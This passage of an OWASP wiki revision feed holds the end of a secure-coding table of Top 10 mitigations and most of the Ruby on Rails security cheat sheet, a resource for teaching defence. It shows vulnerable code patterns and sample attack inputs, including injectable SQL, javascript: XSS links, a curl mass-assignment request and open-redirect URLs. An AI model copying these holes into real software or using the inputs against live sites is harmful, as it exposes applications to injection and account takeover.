||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Applications_on_Webserver_(OTG-INFO-004) Enumerate Applications on Webserver (OTG-INFO-004)]'' &lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004) Testing for Client Side URL Redirect (OTG-CLIENT-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Ruby_on_Rails_Cheatsheet&amp;diff=231874</id>
		<title>Ruby on Rails Cheatsheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Ruby_on_Rails_Cheatsheet&amp;diff=231874"/>
				<updated>2017-07-27T05:12:03Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This ''Cheatsheet'' intends to provide quick basic Ruby on Rails security tips for developers. It complements, augments or emphasizes points brought up in the [http://guides.rubyonrails.org/security.html rails security guide] from rails core. The Rails framework abstracts developers from quite a bit of tedious work and provides the means to accomplish complex tasks quickly and with ease. New developers, those unfamiliar with the inner-workings of Rails, likely need a basic set of guidelines to secure fundamental aspects of their application. The intended purpose of this doc is to be that guide.&lt;br /&gt;
&lt;br /&gt;
= Items =&lt;br /&gt;
== Command Injection == &lt;br /&gt;
&lt;br /&gt;
Ruby offers a function called “eval” which will dynamically build new Ruby code based on Strings.  It also has a number of ways to call system commands.&lt;br /&gt;
 &lt;br /&gt;
   eval(&amp;quot;ruby code here&amp;quot;)&lt;br /&gt;
   System(&amp;quot;os command here&amp;quot;)&lt;br /&gt;
   `ls -al /`   (backticks contain os command)&lt;br /&gt;
   Kernel.exec(&amp;quot;os command here&amp;quot;)&lt;br /&gt;
   open(&amp;quot;| os command here&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
While the power of these commands is quite useful, extreme care should be taken when using them in a Rails based application.  Usually, its just a bad idea.  If need be, a whitelist of possible values should be used and any input should be validated as thoroughly as possible.  The Ruby Security Reviewer's Guide has a  [http://code.google.com/p/ruby-security/wiki/Guide#Good_ol%27_shell_injection section on injection]  and there are a number of OWASP references for it, starting at the top:  [[Command Injection]].&lt;br /&gt;
&lt;br /&gt;
== SQL Injection == &lt;br /&gt;
&lt;br /&gt;
Ruby on Rails is often used with an ORM called ActiveRecord, though it is flexible and can be used with other data sources.  Typically very simple Rails applications use methods on the Rails models to query data.  Many use cases protect for SQL Injection out of the box.  However, it is possible to write code that allows for SQL Injection.  &lt;br /&gt;
&lt;br /&gt;
Here is an example (Rails 2.X style):&lt;br /&gt;
&lt;br /&gt;
    @projects = Project.find(:all, :conditions =&amp;gt; “name like #{params[:name]}”)&lt;br /&gt;
&lt;br /&gt;
A Rails 3.X example:&lt;br /&gt;
&lt;br /&gt;
    name = params[:name]&lt;br /&gt;
    @projects = Project.where(“name like ‘“ + name + “‘“);&lt;br /&gt;
&lt;br /&gt;
In both of these cases, the statement is injectable because the name parameter is not escaped.  &lt;br /&gt;
&lt;br /&gt;
Here is the idiom for building this kind of statement:&lt;br /&gt;
&lt;br /&gt;
    @projects = Project.find(:all, :conditions =&amp;gt; [ “name like ?”, “#{params[:name]}”] )&lt;br /&gt;
&lt;br /&gt;
An AREL based solution:&lt;br /&gt;
&lt;br /&gt;
    @projects = Project.where(&amp;quot;name like ?&amp;quot;, &amp;quot;%#{params[:name]}%&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Use caution not to build SQL statements based on user controlled input.  A list of more realistic and detailed examples is here: [http://rails-sqli.org rails-sqli.org].  OWASP has extensive information about [[SQL Injection]].&lt;br /&gt;
&lt;br /&gt;
== Cross-site Scripting (XSS) == &lt;br /&gt;
&lt;br /&gt;
By default, in Rails 3.0 protection against XSS comes as the default behavior.  When string data is shown in views, it is escaped prior to being sent back to the browser.  This goes a long way, but there are common cases where developers bypass this protection - for example to enable rich text editing.  In the event that you want to pass variables to the front end with tags intact, it is tempting to do the following in your .erb file (ruby markup).&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;%= raw @product.name %&amp;gt;   &lt;br /&gt;
    &amp;lt;%= @product.name.html_safe %&amp;gt;       These are examples of how NOT to do it!&lt;br /&gt;
    &amp;lt;%= content_tag @product.name %&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Unfortunately, any field that uses raw like this will be a potential XSS target.  Note that there are also widespread misunderstandings about html_safe.  [http://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html This writeup] describes the underlying SafeBuffer mechanism in detail.  Other tags that change the way strings are prepared for output can introduce similar issues, including content_tag.&lt;br /&gt;
&lt;br /&gt;
If you must accept HTML content from users, consider a markup language for rich text in an application (Examples include:  markdown and textile) and disallow HTML tags. This helps ensures that the input accepted doesn’t include HTML content that could be malicious. If you cannot restrict your users from entering HTML, consider implementing content security policy to disallow the execution of any javascript. And finally, consider using the #sanitize method that let's you whitelist allowed tags. Be careful, this method has been shown to be flawed numerous times and will never be a complete solution.&lt;br /&gt;
&lt;br /&gt;
An often overlooked XSS attack vector is the href value of a link:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;%= link_to “Personal Website”, @user.website %&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If @user.website contains a link that starts with “javascript:”, the content will execute when a user clicks the generated link:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;a href=”javascript:alert(‘Haxored’)”&amp;gt;Personal Website&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OWASP provides more general information about XSS in a top level page: [[Cross-site Scripting (XSS)]].&lt;br /&gt;
&lt;br /&gt;
== Sessions ==&lt;br /&gt;
&lt;br /&gt;
By default, Ruby on Rails uses a Cookie based session store.  What that means is that unless you change something, the session will not expire on the server.  That means that some default applications may be vulnerable to replay attacks.  It also means that sensitive information should never be put in the session.&lt;br /&gt;
&lt;br /&gt;
The best practice is to use a database based session, which thankfully is very easy with Rails:&lt;br /&gt;
&lt;br /&gt;
    Project::Application.config.session_store :active_record_store&lt;br /&gt;
&lt;br /&gt;
There is an OWASP [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== Authentication == &lt;br /&gt;
&lt;br /&gt;
Generally speaking, Rails does not provide authentication by itself.  However, most developers using Rails leverage libraries such as Devise or AuthLogic to provide authentication.  To enable authentication with Devise, one simply has to put the following in a controller:&lt;br /&gt;
&lt;br /&gt;
    class ProjectController &amp;lt; ApplicationController&lt;br /&gt;
        before_filter :authenticate_user&lt;br /&gt;
&lt;br /&gt;
As with other methods, this supports exceptions.  Note that by default Devise only requires 6 characters for a password.  The minimum can be changed in:  /config/initializers/devise.rb&lt;br /&gt;
&lt;br /&gt;
    config.password_length = 8..128&lt;br /&gt;
&lt;br /&gt;
There are several possible ways to enforce complexity.  One is to put a Validator in the user model.&lt;br /&gt;
      &lt;br /&gt;
    validate :password_complexity&lt;br /&gt;
    def password_complexity&lt;br /&gt;
       if password.present? and not password.match(/\A(?=.*[a-z])(?=.*[A-Z])(?=.*\d).+\z/)&lt;br /&gt;
           errors.add :password, &amp;quot;must include at least one lowercase letter, one uppercase letter, and one digit&amp;quot;&lt;br /&gt;
       end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
There is an OWASP [[Authentication Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== Insecure Direct Object Reference or Forceful Browsing == &lt;br /&gt;
&lt;br /&gt;
By default, Ruby on Rails apps use a RESTful uri structure.  That means that paths are often intuitive and guessable.  To protect against a user trying to access or modify data that belongs to another user, it is important to specifically control actions.  Out of the gate on a vanilla Rails application, there is no such built in protection.  It is possible to do this by hand at the controller level.  &lt;br /&gt;
&lt;br /&gt;
It is also possible, and probably recommended, to consider resource-based access control libraries such as [https://github.com/CanCanCommunity/cancancan cancancan] (cancan replacement) or [https://github.com/elabs/pundit pundit]to do this. This ensures that all operations on a database object are authorized by the business logic of the application. &lt;br /&gt;
&lt;br /&gt;
More general information about this class of vulnerability is in the [https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References OWASP Top 10 Page].&lt;br /&gt;
&lt;br /&gt;
== CSRF (Cross Site Request Forgery) ==&lt;br /&gt;
&lt;br /&gt;
Ruby on Rails has specific, built in support for CSRF tokens.  To enable it, or ensure that it is enabled, find the base ApplicationController and look for a directive such as the following:&lt;br /&gt;
&lt;br /&gt;
    class ApplicationController &amp;lt; ActionController::Base&lt;br /&gt;
        protect_from_forgery&lt;br /&gt;
&lt;br /&gt;
Note that the syntax for this type of control includes a way to add exceptions.  Exceptions may be useful for API’s or other reasons - but should be reviewed and consciously included.  In the example below, the Rails ProjectController will not provide CSRF protection for the show method.&lt;br /&gt;
&lt;br /&gt;
   class ProjectController &amp;lt; ApplicationController&lt;br /&gt;
       protect_from_forgery :except =&amp;gt; :show&lt;br /&gt;
&lt;br /&gt;
Also note that by default Rails does not provide CSRF protection for any HTTP GET request.&lt;br /&gt;
&lt;br /&gt;
There is a top level OWASP page for [[Cross-Site Request Forgery (CSRF)]].&lt;br /&gt;
&lt;br /&gt;
== Mass Assignment and Strong Parameters == &lt;br /&gt;
&lt;br /&gt;
Although the major issue with Mass Assignment has been fixed by default in base Rails specifically when generating new projects, it still applies to older and upgraded projects so it is important to understand the issue and to ensure that only attributes that are intended to be modifiable are exposed.&lt;br /&gt;
&lt;br /&gt;
When working with a model, the attributes on the model will not be accessible to forms being posted unless a programmer explicitly indicates that:&lt;br /&gt;
&lt;br /&gt;
    class Project &amp;lt; ActiveRecord::Base&lt;br /&gt;
        attr_accessible :name, :admin&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
With the admin attribute accessible based on the example above, the following could work:&lt;br /&gt;
&lt;br /&gt;
    curl -d “project[name]=triage&amp;amp;project[admin]=1” host:port/projects&lt;br /&gt;
&lt;br /&gt;
Review accessible attributes to ensure that they should be accessible.  If you are working in Rails &amp;lt; 3.2.3 you should ensure that your attributes are whitelisted with the following:&lt;br /&gt;
&lt;br /&gt;
    config.active_record.whitelist_attributes = true&lt;br /&gt;
&lt;br /&gt;
In Rails 4.0 strong parameters will be the recommended approach for handling attribute visibility. It is also possible to use the strong_parameters gem with Rails 3.x, and the strong_parameters_rails2 gem for Rails 2.3.x applications.&lt;br /&gt;
&lt;br /&gt;
== Redirects and Forwards == &lt;br /&gt;
&lt;br /&gt;
Web applications often require the ability to dynamically redirect users based on client-supplied data. To clarify, dynamic redirection usually entails the client including a URL in a parameter within a request to the application. Once received by the application, the user is redirected to the URL specified in the request. For example:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/redirect?url=http://www.example_commerce_site.com/checkout&lt;br /&gt;
&lt;br /&gt;
The above request would redirect the user to http://www.example.com/checkout.  The security concern associated with this functionality is leveraging an organization’s trusted brand to phish users and trick them into visiting a malicious site, in our example, “badhacker.com”.  Example:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/redirect?url=http://badhacker.com&lt;br /&gt;
&lt;br /&gt;
The most basic, but restrictive protection is to use the :only_path option. Setting this to true will essentially strip out any host information.  However, the :only_path option must be part of the first argument. If the first argument is not a hash table, then there is no way to pass in this option.  In the absence of a custom helper or whitelist, this is one approach that can work:&lt;br /&gt;
&lt;br /&gt;
  begin&lt;br /&gt;
    if path = URI.parse(params[:url]).path&lt;br /&gt;
      redirect_to path&lt;br /&gt;
    end&lt;br /&gt;
  rescue URI::InvalidURIError&lt;br /&gt;
    redirect_to '/'&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
If matching user input against a list of approved sites or TLDs against regular expression is a must, it makes sense to leverage a library such as URI.parse() to obtain the host and then take the host value and match it against regular expression patterns. Those regular expressions must, at a minimum, have anchors or there is a greater chance of an attacker bypassing the validation routine.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
    require ‘uri’&lt;br /&gt;
    host = URI.parse(“#{params[:url]}”).host&lt;br /&gt;
    validation_routine(host) if host    # this can be vulnerable to javascript://trusted.com/%0Aalert(0) so check .scheme and .port too&lt;br /&gt;
    def validation_routine(host)&lt;br /&gt;
        # Validation routine where we use  \A and \z as anchors *not* ^ and $&lt;br /&gt;
        # you could also check the host value against a whitelist&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
Also blind redirecting to user input parameter can lead to XSS. Example:&lt;br /&gt;
    redirect_to params[:to]&lt;br /&gt;
    &lt;br /&gt;
    http://example.com/redirect?to[status]=200&amp;amp;to[protocol]=javascript:alert(0)//&lt;br /&gt;
&lt;br /&gt;
The obvious fix for this type of vulnerability is to restrict to specific Top-Level Domains (TLDs), statically define specific sites, or map a key to it’s value. Example:&lt;br /&gt;
&lt;br /&gt;
    ACCEPTABLE_URLS = {&lt;br /&gt;
        ‘our_app_1’ =&amp;gt; “https://www.example_commerce_site.com/checkout”,&lt;br /&gt;
        ‘our_app_2’ =&amp;gt; “https://www.example_user_site.com/change_settings”&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/redirect?url=our_app_1&lt;br /&gt;
&lt;br /&gt;
   def redirect&lt;br /&gt;
       url = ACCEPTABLE_URLS[“#{params[:url]}”]&lt;br /&gt;
       redirect_to url if url&lt;br /&gt;
   end&lt;br /&gt;
&lt;br /&gt;
There is a more general OWASP resource about [[Unvalidated Redirects and Forwards Cheat Sheet|unvalidated redirects and forwards]].&lt;br /&gt;
&lt;br /&gt;
== Dynamic Render Paths == &lt;br /&gt;
&lt;br /&gt;
In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.&lt;br /&gt;
&lt;br /&gt;
Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.&lt;br /&gt;
&lt;br /&gt;
== Cross Origin Resource Sharing ==&lt;br /&gt;
&lt;br /&gt;
Occasionally, a need arises to share resources with another domain. For example, a file-upload function that sends data via an AJAX request to another domain. In these cases, the same-origin rules followed by web browsers must be bent. Modern browsers, in compliance with HTML5 standards, will allow this to occur but in order to do this; a couple precautions must be taken.&lt;br /&gt;
&lt;br /&gt;
When using a nonstandard HTTP construct, such as an atypical Content-Type header, for example, the following applies:&lt;br /&gt;
&lt;br /&gt;
The receiving site should whitelist only those domains allowed to make such requests as well as set the Access-Control-Allow-Origin header in both the response to the OPTIONS request and POST request. This is because the OPTIONS request is sent first, in order to determine if the remote or receiving site allows the requesting domain. Next, a second request, a POST request, is sent. Once again, the header must be set in order for the transaction to be shown as successful.&lt;br /&gt;
&lt;br /&gt;
When standard HTTP constructs are used:&lt;br /&gt;
&lt;br /&gt;
The request is sent and the browser, upon receiving a response, inspects the response headers in order to determine if the response can and should be processed.&lt;br /&gt;
&lt;br /&gt;
Whitelist in Rails:&lt;br /&gt;
&lt;br /&gt;
Gemfile&lt;br /&gt;
    gem 'rack-cors', :require =&amp;gt; 'rack/cors'&lt;br /&gt;
&lt;br /&gt;
config/application.rb&lt;br /&gt;
    module Sample&lt;br /&gt;
        class Application &amp;lt; Rails::Application&lt;br /&gt;
            config.middleware.use Rack::Cors do&lt;br /&gt;
                allow do&lt;br /&gt;
                    origins 'someserver.example.com'&lt;br /&gt;
                    resource %r{/users/\d+.json},&lt;br /&gt;
                        :headers =&amp;gt; ['Origin', 'Accept', 'Content-Type'],&lt;br /&gt;
                        :methods =&amp;gt; [:post, :get]&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
